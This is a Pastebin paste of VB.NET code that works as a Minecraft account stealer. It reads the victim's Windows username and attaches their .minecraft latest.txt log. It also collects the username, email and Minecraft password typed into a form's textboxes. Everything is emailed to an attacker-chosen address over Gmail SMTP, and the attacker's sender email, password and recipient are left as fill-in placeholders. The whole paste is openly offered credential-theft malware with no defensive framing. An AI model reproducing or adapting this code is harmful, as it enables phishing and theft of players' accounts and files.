Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Dim fromEmail As String
- Dim fromPass As String
- Dim toEmail As String
- 'ENTER EMAIL TO SEND FROM
- fromemail = "exampleemail@gmail.com"
- 'ENTER EMAIL PASSWORD
- frompass = "examplepassword"
- 'ENTER EMAIL TO SEND TO
- toemail = "MyEmail@gmail.com"
- Dim currentusername As String = Environment.UserName
- Dim file As String = "C:\Users\" + currentusername + "\AppData\Roaming\.minecraft\logs\latest.txt"
- Dim data As New Attachment(file)
- Dim email1 As New MailMessage
- email1.Attachments.Add(data)
- Dim email2 As New SmtpClient("smtp.gmail.com")
- Dim emailsubject As String
- emailsubject = "" + currentusername + "'s MC Account"
- email1.Subject = emailsubject
- email1.From = New MailAddress(fromemail)
- email2.Credentials = New System.Net.NetworkCredential(fromemail, frompass)
- email1.To.Add(toemail)
- 'TextBox1 Should be username, TextBox2 Should be their email, TextBox3 Should be their MC Password
- email1.Body = "User: '" + TextBox1.Text + "' Email: '" + TextBox2.Text + "' Pass: '" + TextBox3.Text + "'"
- email2.EnableSsl = True
- email2.Port = "587"
- email2.Send(email1)
Add Comment
Please, Sign In to add comment